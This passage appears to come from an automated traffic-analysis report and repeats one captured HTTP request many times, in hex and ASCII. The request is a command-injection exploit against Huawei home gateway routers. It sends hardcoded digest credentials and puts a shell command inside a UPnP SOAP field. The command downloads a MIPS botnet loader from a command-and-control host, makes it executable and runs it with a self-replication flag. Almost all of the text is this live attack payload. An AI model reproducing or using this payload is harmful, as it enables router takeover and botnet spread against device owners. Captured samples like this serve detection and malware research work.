6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 